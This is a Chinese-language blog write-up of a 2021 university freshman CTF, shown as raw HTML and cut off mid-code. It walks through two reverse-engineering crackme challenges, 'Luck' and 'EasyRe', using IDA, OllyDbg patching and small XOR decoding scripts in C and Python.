

<!DOCTYPE html>
<html lang="zh-CN" data-default-color-scheme=dark>



<head>
  <meta charset="UTF-8">
  <link rel="apple-touch-icon" sizes="76x76" href="/img/newtubiao.png">
  <link rel="icon" href="/img/newtubiao.png">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, shrink-to-fit=no">
  <meta http-equiv="x-ua-compatible" content="ie=edge">
  
  <meta name="theme-color" content="#2f4154">
  <meta name="description" content="">
  <meta name="author" content="Asteri5m">
  <meta name="keywords" content="">
  <meta name="description" content="新生赛，担任出题给新生们出点题玩玩，没想到惨不忍睹，只能可劲放hint，深怕他们们解不出来。 0x00 Reverse所有我出的题，我尽量给出双解（IDA和OD），不是我出的就不要在我这里看了奥 0x01 LuckIDA先看mian函数，game函数和flagshow函数  然后看game函数  在函数结尾的时候有一个设置随机数种子，很可疑，暂时记下。0x2918 &#x3D; 10520。再看f">
<meta property="og:type" content="article">
<meta property="og:title" content="2021CDUCTF11月校赛">
<meta property="og:url" content="http://asteri5m.icu/archives/2021CDUCTF11%E6%9C%88%E6%A0%A1%E8%B5%9B.html">
<meta property="og:site_name" content="Asteri5m">
<meta property="og:description" content="新生赛，担任出题给新生们出点题玩玩，没想到惨不忍睹，只能可劲放hint，深怕他们们解不出来。 0x00 Reverse所有我出的题，我尽量给出双解（IDA和OD），不是我出的就不要在我这里看了奥 0x01 LuckIDA先看mian函数，game函数和flagshow函数  然后看game函数  在函数结尾的时候有一个设置随机数种子，很可疑，暂时记下。0x2918 &#x3D; 10520。再看f">
<meta property="og:locale" content="zh_CN">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222240976.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222423055.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222541541.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115020045532.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115020805400.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115021222714.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115021747566.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115021911275.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115022234537.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115022519057.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115023015279.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115025046736.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115025802096.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115130828024.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115131305792.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115132221678.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115132825284.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115133320493.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115150057653.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115150254711.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115150439850.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115151004367.png">
<meta property="og:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115151724471.png">
<meta property="article:published_time" content="2021-11-14T16:43:16.000Z">
<meta property="article:modified_time" content="2022-03-04T06:50:10.881Z">
<meta property="article:author" content="Asteri5m">
<meta property="article:tag" content="CTF">
<meta property="article:tag" content="Reverse">
<meta property="article:tag" content="Pwn">
<meta name="twitter:card" content="summary_large_image">
<meta name="twitter:image" content="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222240976.png">
  
    <meta name="baidu-site-verification" content="code-GBSY8p4qe6" />
  
  <title>2021CDUCTF11月校赛 - Asteri5m</title>

  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@4/dist/css/bootstrap.min.css" />


  <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/github-markdown-css@4/github-markdown.min.css" />
  <link  rel="stylesheet" href="/lib/hint/hint.min.css" />

  
    
    
      
      <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/highlight.js@10/styles/atom-one-dark.min.css" />
    
  

  
    <link  rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@fancyapps/fancybox@3/dist/jquery.fancybox.min.css" />
  


<!-- 主题依赖的图标库，不要自行修改 -->

<link rel="stylesheet" href="//at.alicdn.com/t/font_1749284_ba1fz6golrf.css">



<link rel="stylesheet" href="//at.alicdn.com/t/font_1736178_kmeydafke9r.css">


<link  rel="stylesheet" href="/css/main.css" />

<!-- 自定义样式保持在最底部 -->

  
<link rel="stylesheet" href="//cdn.jsdelivr.net/npm/aplayer@1.10.0/dist/APlayer.min.css">
<link rel="stylesheet" href="/xm_custom/custom.css">



  <script id="fluid-configs">
    var Fluid = window.Fluid || {};
    var CONFIG = {"hostname":"asteri5m.icu","root":"/","version":"1.8.12","typing":{"enable":true,"typeSpeed":120,"cursorChar":"_","loop":true},"anchorjs":{"enable":true,"element":"h1,h2,h3,h4,h5,h6","placement":"right","visible":"hover","icon":""},"progressbar":{"enable":true,"height_px":3,"color":"#29d","options":{"showSpinner":false,"trickleSpeed":100}},"copy_btn":true,"image_zoom":{"enable":true,"img_url_replace":["",""]},"toc":{"enable":true,"headingSelector":"h1,h2,h3,h4,h5,h6","collapseDepth":3},"lazyload":{"enable":true,"loading_img":"/img/loading.gif","onlypost":false,"offset_factor":2},"web_analytics":{"enable":true,"baidu":null,"google":null,"gtag":null,"tencent":{"sid":null,"cid":null},"woyaola":null,"cnzz":null,"leancloud":{"app_id":"5INqyf5xMrWdsn0whn39qjsu-gzGzoHsz","app_key":"6UTAOxyJnjvDwHX3PJagKMg9","server_url":"https://5inqyf5x.lc-cn-n1-shared.com","path":"window.location.pathname"}},"search_path":"/local-search.xml"};
  </script>
  <script  src="/js/utils.js" ></script>
  <script  src="/js/color-schema.js" ></script>
<meta name="generator" content="Hexo 5.4.0"></head>


<body>
  <header style="height: 70vh;">
    <nav id="navbar" class="navbar fixed-top  navbar-expand-lg navbar-dark scrolling-navbar">
  <div class="container">
    <a class="navbar-brand" href="/">
      <strong>Asteri5m</strong>
    </a>

    <button id="navbar-toggler-btn" class="navbar-toggler" type="button" data-toggle="collapse"
            data-target="#navbarSupportedContent"
            aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation">
      <div class="animated-icon"><span></span><span></span><span></span></div>
    </button>

    <!-- Collapsible content -->
    <div class="collapse navbar-collapse" id="navbarSupportedContent">
      <ul class="navbar-nav ml-auto text-center">
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/">
                <i class="iconfont icon-home-fill"></i>
                首页
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/archives/">
                <i class="iconfont icon-archive-fill"></i>
                归档
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/categories/">
                <i class="iconfont icon-category-fill"></i>
                分类
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/tags/">
                <i class="iconfont icon-tags-fill"></i>
                标签
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/about/">
                <i class="iconfont icon-user-fill"></i>
                关于
              </a>
            </li>
          
        
          
          
          
          
            <li class="nav-item">
              <a class="nav-link" href="/guestbook/">
                <i class="iconfont icon-note"></i>
                留言板
              </a>
            </li>
          
        
        
          <li class="nav-item" id="search-btn">
            <a class="nav-link" target="_self" href="javascript:;" data-toggle="modal" data-target="#modalSearch" aria-label="Search">
              &nbsp;<i class="iconfont icon-search"></i>&nbsp;
            </a>
          </li>
        
        
          <li class="nav-item" id="color-toggle-btn">
            <a class="nav-link" target="_self" href="javascript:;" aria-label="Color Toggle">&nbsp;<i
                class="iconfont icon-dark" id="color-toggle-icon"></i>&nbsp;</a>
          </li>
        
      </ul>
    </div>
  </div>
</nav>

    <div class="banner" id="banner" false
         style="background: url('/img/none.png') no-repeat center center;
           background-size: cover;">
      <div class="full-bg-img">
        <div class="mask flex-center" style="background-color: rgba(0, 0, 0, 0)">
          <div class="page-header text-center fade-in-up">
            <span class="h2" id="subtitle" title="2021CDUCTF11月校赛">
              
            </span>

            
              <div class="mt-3">
  
  
    <span class="post-meta">
      <i class="iconfont icon-date-fill" aria-hidden="true"></i>
      <time datetime="2021-11-15 00:43" pubdate>
        2021年11月15日 凌晨
      </time>
    </span>
  
</div>

<div class="mt-1">
  
    <span class="post-meta mr-2">
      <i class="iconfont icon-chart"></i>
      10k 字
    </span>
  

  
    <span class="post-meta mr-2">
      <i class="iconfont icon-clock-fill"></i>
      
      
      32 分钟
    </span>
  

  
  
    
      <!-- LeanCloud 统计文章PV -->
      <span id="leancloud-page-views-container" class="post-meta" style="display: none">
        <i class="iconfont icon-eye" aria-hidden="true"></i>
        <span id="leancloud-page-views"></span> 次
      </span>
    
  
</div>

            
          </div>

          
        </div>
      </div>
    </div>
  </header>

  <main>
    
      

<div class="container-fluid nopadding-x">
  <div class="row nomargin-x">
    <div class="d-none d-lg-block col-lg-2"></div>
    <div class="col-lg-8 nopadding-x-md">
      <div class="container nopadding-x-md" id="board-ctn">
        <div class="py-5" id="board">
          <article class="post-content mx-auto">
            <!-- SEO header -->
            <h1 style="display: none">2021CDUCTF11月校赛</h1>
            
              <p class="note note-info">
                
                  本文最后更新于：5 天前
                
              </p>
            
            <div class="markdown-body">
              <p>新生赛，担任出题给新生们出点题玩玩，没想到惨不忍睹，只能可劲放hint，深怕他们们解不出来。</p>
<h2 id="0x00-Reverse"><a href="#0x00-Reverse" class="headerlink" title="0x00 Reverse"></a>0x00 Reverse</h2><p>所有我出的题，我尽量给出双解（IDA和OD），不是我出的就不要在我这里看了奥</p>
<h3 id="0x01-Luck"><a href="#0x01-Luck" class="headerlink" title="0x01 Luck"></a>0x01 Luck</h3><h4 id="IDA"><a href="#IDA" class="headerlink" title="IDA"></a>IDA</h4><p>先看mian函数，game函数和flagshow函数</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222240976.png" srcset="/img/loading.gif" lazyload></p>
<p>然后看game函数</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222423055.png" srcset="/img/loading.gif" lazyload></p>
<p>在函数结尾的时候有一个设置随机数种子，很可疑，暂时记下。0x2918 &#x3D; 10520。再看flagshow函数：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211110222541541.png" srcset="/img/loading.gif" lazyload></p>
<p>所以flag是取伪随机数xor v2来的，v2则是n1数组的元素。</p>
<div class="note note-primary">
            <p><strong>什么是xor？</strong></p><p>xor：异或，相异得一，相同得零。例如：1 ^ 1 &#x3D; 0；1 ^ 0 &#x3D; 1；0 ^ 0 &#x3D; 0</p><p>程序中xor操作过程是按位进行的。先将操作数转换为二进制数，再进行按位异或。例如：23 ^ 45</p><p>23 &#x3D; 0001 0111        45 &#x3D; 0010 1101     &#x3D;&gt;    23 ^ 45 &#x3D; 0011 1010 &#x3D; 58</p><p>因为xor的特性，所以有：若a^b&#x3D;c，则c^b&#x3D;a；c^a&#x3D;b。</p><p>详细的查看<a class="btn" href="https://baike.baidu.com/item/异或/10993677?fromtitle=xor&fromid=64178&fr=aladdin"  title="XOR" target="_blank">百度百科</a></p>
          </div>

<p>找到n1数组，提取出来</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115020045532.png" srcset="/img/loading.gif" lazyload></p>
<div class="note note-primary">
            <p>这里可以右键转换为数组再通过Shift+E提取，可以快速提取到值</p>
          </div>

<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115020805400.png" srcset="/img/loading.gif" lazyload></p>
<p>前面是4个数有三个都是0，因为int是4字节的，而这里把它一个字节一个字节解析的，所以宽度设置为4。得到数据：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115021222714.png" srcset="/img/loading.gif" lazyload></p>
<p>再用notepad替换0为空即可。写出exp即可。</p>
<figure class="highlight c"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdlib.h&gt;</span></span><br><br><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span></span><br><span class="hljs-function"></span>&#123;<br>	<span class="hljs-keyword">int</span> decode[] = &#123;<span class="hljs-number">0x7F</span>,<span class="hljs-number">0x5B</span>,<span class="hljs-number">0x4A</span>,<span class="hljs-number">0x5</span>,<span class="hljs-number">0x64</span>,<span class="hljs-number">0x1</span>,<span class="hljs-number">0x66</span>,<span class="hljs-number">0x65</span>,<span class="hljs-number">0x66</span>,<span class="hljs-number">0x5B</span>,<span class="hljs-number">0x4A</span>,<span class="hljs-number">0x20</span>,<span class="hljs-number">0x51</span>,<span class="hljs-number">0x4F</span>,<span class="hljs-number">0x39</span>,<span class="hljs-number">0x1</span>,<span class="hljs-number">0x41</span>,<span class="hljs-number">0x6B</span>,<span class="hljs-number">0x5F</span>,<span class="hljs-number">0x7E</span>,<span class="hljs-number">0x73</span>,<span class="hljs-number">0x7A</span>,<span class="hljs-number">0x57</span>,<span class="hljs-number">0x5A</span>,<span class="hljs-number">0x0E</span>,<span class="hljs-number">0x11</span>,<span class="hljs-number">0x6F</span>,<span class="hljs-number">0x0</span>,&#125;;<br>	srand(<span class="hljs-number">10520</span>);<br>	<span class="hljs-keyword">for</span>(<span class="hljs-keyword">int</span> i=<span class="hljs-number">0</span>;decode[i];i++)<br>	&#123;<br>		<span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;%c&quot;</span>,decode[i] ^ (rand()%<span class="hljs-number">100</span>+<span class="hljs-number">1</span>));<br>	&#125;<br>	<br>	<span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;<br>&#125;<br><br><span class="hljs-comment">//flag&#123;1uck_g4y_n0t_n55d_x0r&#125;</span><br></code></pre></div></td></tr></table></figure>

<h4 id="OD"><a href="#OD" class="headerlink" title="OD"></a>OD</h4><p>在main函数和flagshow函数有两次判断，只要一次猜出来就可以得到flag，我们直接nop掉两次跳转或者改变跳转地址即可</p>
<p>先找到判断1，下断：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115021747566.png" srcset="/img/loading.gif" lazyload></p>
<p>再找到跳转2，下断（搜索字符串就不教了奥）：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115021911275.png" srcset="/img/loading.gif" lazyload></p>
<p>直接运行，猜出数字到断点处：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115022234537.png" srcset="/img/loading.gif" lazyload></p>
<p>nop掉jz跳转，进入第二个call（F7）：</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115022519057.png" srcset="/img/loading.gif" lazyload></p>
<p>这里je跳转箭头内的全部nop，目的是不执行retn，push ebx要留下，这里截图错了。</p>
<p>进入循环后再用F8比较浪费时间，可以直接F4到函数快结尾处，不会的下断点在最后一个call，然后再F8一下，就看到程序框内的flag了。</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115023015279.png" srcset="/img/loading.gif" lazyload></p>
<h4 id="other"><a href="#other" class="headerlink" title="other"></a>other</h4><p>用CE应该也是可以的，每猜一次搜索次数嘛，还是很简单。难就难在程序结束了没有滞留，黑框就没了，这种情况应该怎么搞呢？自己去探索吧~</p>
<h3 id="0x02-EasyRe"><a href="#0x02-EasyRe" class="headerlink" title="0x02 EasyRe"></a>0x02 EasyRe</h3><h4 id="IDA-1"><a href="#IDA-1" class="headerlink" title="IDA"></a>IDA</h4><p>这个源码还是很简单了，太长就不截图了，直接复制吧</p>
<figure class="highlight c"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs c"><span class="hljs-function"><span class="hljs-keyword">int</span> __cdecl <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **argv, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> **envp)</span></span><br><span class="hljs-function"></span>&#123;<br>  <span class="hljs-keyword">int</span> v3; <span class="hljs-comment">// eax</span><br>  <span class="hljs-keyword">char</span> v4; <span class="hljs-comment">// cl</span><br>  <span class="hljs-keyword">int</span> v5; <span class="hljs-comment">// eax</span><br>  <span class="hljs-keyword">char</span> v6; <span class="hljs-comment">// al</span><br>  <span class="hljs-keyword">int</span> v7; <span class="hljs-comment">// edx</span><br>  <span class="hljs-keyword">char</span> v8; <span class="hljs-comment">// al</span><br>  <span class="hljs-keyword">signed</span> <span class="hljs-keyword">int</span> v9; <span class="hljs-comment">// edx</span><br>  <span class="hljs-keyword">char</span> flag[<span class="hljs-number">256</span>]; <span class="hljs-comment">// [esp+0h] [ebp-138h]</span><br>  <span class="hljs-keyword">char</span> third[<span class="hljs-number">12</span>]; <span class="hljs-comment">// [esp+100h] [ebp-38h]</span><br>  <span class="hljs-keyword">char</span> second[<span class="hljs-number">11</span>]; <span class="hljs-comment">// [esp+10Ch] [ebp-2Ch]</span><br>  <span class="hljs-keyword">char</span> zero[<span class="hljs-number">8</span>]; <span class="hljs-comment">// [esp+118h] [ebp-20h]</span><br>  <span class="hljs-keyword">char</span> first[<span class="hljs-number">7</span>]; <span class="hljs-comment">// [esp+120h] [ebp-18h]</span><br>  <span class="hljs-keyword">char</span> flag_0[<span class="hljs-number">9</span>]; <span class="hljs-comment">// [esp+128h] [ebp-10h]</span><br>  <span class="hljs-keyword">char</span> v17; <span class="hljs-comment">// [esp+132h] [ebp-6h]</span><br><br>  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;PLZ input your flag:\n&quot;</span>);<br>  scanf_s(<span class="hljs-string">&quot;%s&quot;</span>, flag);<br>  <span class="hljs-keyword">if</span> ( <span class="hljs-built_in">strlen</span>(flag) != <span class="hljs-number">37</span> )                     <span class="hljs-comment">// flag长度为27</span><br>  &#123;<br>    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;the len of flag is wrong,sorry\n&quot;</span>);<br>    _exit(<span class="hljs-number">0</span>);<br>  &#125;<br>  <span class="hljs-keyword">if</span> ( flag[<span class="hljs-number">7</span>] != <span class="hljs-string">&#x27;_&#x27;</span> || flag[<span class="hljs-number">14</span>] != <span class="hljs-string">&#x27;_&#x27;</span> || flag[<span class="hljs-number">25</span>] != <span class="hljs-string">&#x27;_&#x27;</span> )<br>  &#123;                                             <span class="hljs-comment">// 第8、15、26位为‘_’</span><br>    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;something is wrong~try again\n&quot;</span>);<br>    _exit(<span class="hljs-number">0</span>);<br>  &#125;<br>  *zero = <span class="hljs-number">0</span>;<br>  *&amp;zero[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>;<br>  *&amp;zero[<span class="hljs-number">6</span>] = <span class="hljs-number">0</span>;<br>  _strncpy_s(zero, <span class="hljs-number">8u</span>, flag, <span class="hljs-number">7u</span>);<br>  flag_0[<span class="hljs-number">8</span>] = <span class="hljs-number">0</span>;<br>  <span class="hljs-built_in">strcpy</span>(flag_0, <span class="hljs-string">&quot;welcome&quot;</span>);                    <span class="hljs-comment">// 第一部分：welcome</span><br>  v3 = <span class="hljs-built_in">strcmp</span>(flag_0, zero);<br>  <span class="hljs-keyword">if</span> ( v3 )<br>    v3 = -(v3 &lt; <span class="hljs-number">0</span>) | <span class="hljs-number">1</span>;<br>  <span class="hljs-keyword">if</span> ( v3 )<br>  &#123;<br>    _puts(zero);<br>    <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;you are wrong, sorry.\n&quot;</span>);<br>    _exit(<span class="hljs-number">1</span>);<br>  &#125;<br>  *first = <span class="hljs-number">0</span>;<br>  *&amp;first[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>;<br>  first[<span class="hljs-number">6</span>] = <span class="hljs-number">0</span>;<br>  _strncpy_s(first, <span class="hljs-number">7u</span>, &amp;flag[<span class="hljs-number">8</span>], <span class="hljs-number">6u</span>);<br>  *&amp;flag_0[<span class="hljs-number">4</span>] = <span class="hljs-string">&#x27;xudc&#x27;</span>;                         <span class="hljs-comment">// 按R转为字符串</span><br>  *&amp;flag_0[<span class="hljs-number">8</span>] = <span class="hljs-string">&#x27;bw&#x27;</span>;                       <span class="hljs-comment">// 是数转过来的，为小端存储，既倒叙</span><br>  v4 = <span class="hljs-number">99</span>;                                      <span class="hljs-comment">// 所以第二部分：cduxwb</span><br>  v17 = <span class="hljs-number">0</span>;<br>  v5 = <span class="hljs-number">0</span>;<br>  <span class="hljs-keyword">do</span><br>  &#123;<br>    <span class="hljs-keyword">if</span> ( first[v5] != v4 )<br>    &#123;<br>      _puts(first);<br>      <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;It&#x27;s close. Come on!\n&quot;</span>);<br>      _exit(<span class="hljs-number">2</span>);<br>    &#125;<br>    v4 = flag_0[v5++ + <span class="hljs-number">5</span>];<br>  &#125;<br>  <span class="hljs-keyword">while</span> ( v4 );<br>  *second = <span class="hljs-number">0</span>;<br>  second[<span class="hljs-number">10</span>] = <span class="hljs-number">0</span>;<br>  *&amp;second[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>i64;<br>  _strncpy_s(second, <span class="hljs-number">0xB</span>u, &amp;flag[<span class="hljs-number">15</span>], <span class="hljs-number">0xA</span>u);<br>  *flag_0 = *aEverythi;<br>  *&amp;flag_0[<span class="hljs-number">8</span>] = <span class="hljs-string">&#x27;GN&#x27;</span>;<br>  v6 = aEverythi[<span class="hljs-number">0</span>];                            <span class="hljs-comment">// 第三部分为：EVERYTHING</span><br>  <span class="hljs-keyword">if</span> ( aEverythi[<span class="hljs-number">0</span>] )<br>  &#123;<br>    v7 = <span class="hljs-number">0</span>;<br>    <span class="hljs-keyword">do</span><br>    &#123;<br>      <span class="hljs-keyword">if</span> ( second[v7] - <span class="hljs-number">32</span> != v6 )              <span class="hljs-comment">// flag[i] = flag_0[i] + 32</span><br>      &#123;                                     <span class="hljs-comment">// 大小写字母之差为32，所以真正的flag为小写</span><br>        _puts(second);<br>        <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;hurry up! GO GO GO!\n&quot;</span>);<br>        _exit(<span class="hljs-number">3</span>);<br>      &#125;<br>      v6 = flag_0[v7++ + <span class="hljs-number">1</span>];<br>    &#125;<br>    <span class="hljs-keyword">while</span> ( v6 );<br>  &#125;<br>  *third = <span class="hljs-number">0</span>;<br>  *&amp;third[<span class="hljs-number">10</span>] = <span class="hljs-number">0</span>;<br>  *&amp;third[<span class="hljs-number">2</span>] = <span class="hljs-number">0</span>i64;<br>  _strncpy_s(third, <span class="hljs-number">0xC</span>u, &amp;flag[<span class="hljs-number">26</span>], <span class="hljs-number">0xB</span>u);<br>  <span class="hljs-built_in">strcpy</span>(flag_0, <span class="hljs-string">&quot;suhxlzSUKMC&quot;</span>);<br>  v8 = <span class="hljs-string">&#x27;s&#x27;</span>;                                     <span class="hljs-comment">// 第四部分xor加密</span><br>  v9 = <span class="hljs-number">26</span>;<br>  <span class="hljs-keyword">do</span><br>  &#123;<br>    <span class="hljs-keyword">if</span> ( (v9 ^ third[v9 - <span class="hljs-number">26</span>]) != v8 )<br>    &#123;<br>      _puts(third);<br>      <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;ohhhhh,a little!only a little!\t&quot;</span>);<br>      _exit(<span class="hljs-number">4</span>);<br>    &#125;<br>    v8 = flag_0[v9++ - <span class="hljs-number">25</span>];<br>  &#125;<br>  <span class="hljs-keyword">while</span> ( v8 );<br>  <span class="hljs-built_in">printf</span>(<span class="hljs-string">&quot;nice!Do a good jod!!!your flag:\nflag&#123;%s&#125;&quot;</span>, flag);<br>  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;                                     <span class="hljs-comment">// flag包上&#123;&#125;输出</span><br>&#125;<br></code></pre></div></td></tr></table></figure>

<p>EVERYTHING最后的NG哪来的？</p>
<p><img src="https://gitee.com/Asteri5m/wd_img/raw/master/img/image-20211115025046736.png" srcset="/img/loading.gif" lazyload></p>
<p>xor反解脚本 Python：</p>
<figure class="highlight python"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs python">flag=<span class="hljs-string">&#x27;&#x27;</span><br>a = <span class="hljs-string">&#x27;suhxlzSUKMC&#x27;</span><br><span class="hljs-keyword">for</span> i <span class="hljs-keyword">in</span> <span class="hljs-built_in">range</span>(<span class="hljs-built_in">len</span>(a)):<br>	flag+= <span class="hljs-built_in">chr</span>(<span class="hljs-built_in">ord</span>(a[i])^(i+<span class="hljs-number">26</span>))<br><span class="hljs-built_in">print</span>(flag)<br>	<br><span class="hljs-comment">#interesting</span><br></code></pre></div></td></tr></table></figure>

<p>不会python？也行嘛，直接把代码复制过来，改一改，也能跑 C语言：</p>
<figure class="highlight c"><table><tr><td class="gutter hljs"><div class="hljs code-wrapper"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></div></td><td class="code"><div class="hljs code-wrapper"><pre><code class="hljs c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;stdio.h&gt;</span></span><br><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span><span class="hljs-meta-string">&lt;windows.h&gt;</span></span><br><br><span class="hljs-keyword">long</span> <span 